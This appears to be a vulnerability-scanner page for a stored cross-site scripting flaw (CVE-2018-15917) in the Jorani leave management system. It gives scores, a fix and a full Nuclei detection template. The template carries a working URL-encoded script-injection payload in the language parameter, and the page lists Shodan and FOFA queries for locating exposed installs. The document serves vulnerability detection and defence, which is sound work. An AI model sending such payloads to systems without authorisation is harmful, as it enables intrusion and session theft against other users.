Jorani Leave Management System 0.6.5 - Cross-Site Scripting

mediumseverity

5.4CVSS score

5.9%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language.

Impact

Authenticated attackers can inject persistent malicious JavaScript through the language parameter that executes in other users' browsers including administrators, potentially stealing session cookies, credentials, or performing unauthorized actions in Jorani leave management system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login=&CipheredValue= ; GET /session/login
Positive when: contains "<script>alert(document.domain)</script>" and "_jorani" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-15917 -u <target>

The full check

id: CVE-2018-15917

info:
  name: Jorani Leave Management System 0.6.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language.
  impact: |
    Authenticated attackers can inject persistent malicious JavaScript through the language parameter that executes in other users' browsers including administrators, potentially stealing session cookies, credentials, or performing unauthorized actions in Jorani leave management system.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45338
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15917
    - https://github.com/bbalet/jorani/issues/254
    - https://github.com/JavierOlmedo/JavierOlmedo
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2018-15917
    cwe-id: CWE-79
    epss-score: 0.05891
    epss-percentile: 0.93283
    cpe: cpe:2.3:a:jorani_project:jorani:0.6.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jorani_project
    product: jorani
    shodan-query:
      - title:"Login - Jorani"
      - http.favicon.hash:-2032163853
    fofa-query: icon_hash=-2032163853
  tags: cve,cve2018,jorani,xss,jorani_project,vuln

http:
  - raw:
      - |
        GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login=&CipheredValue= HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /session/login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - '_jorani'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from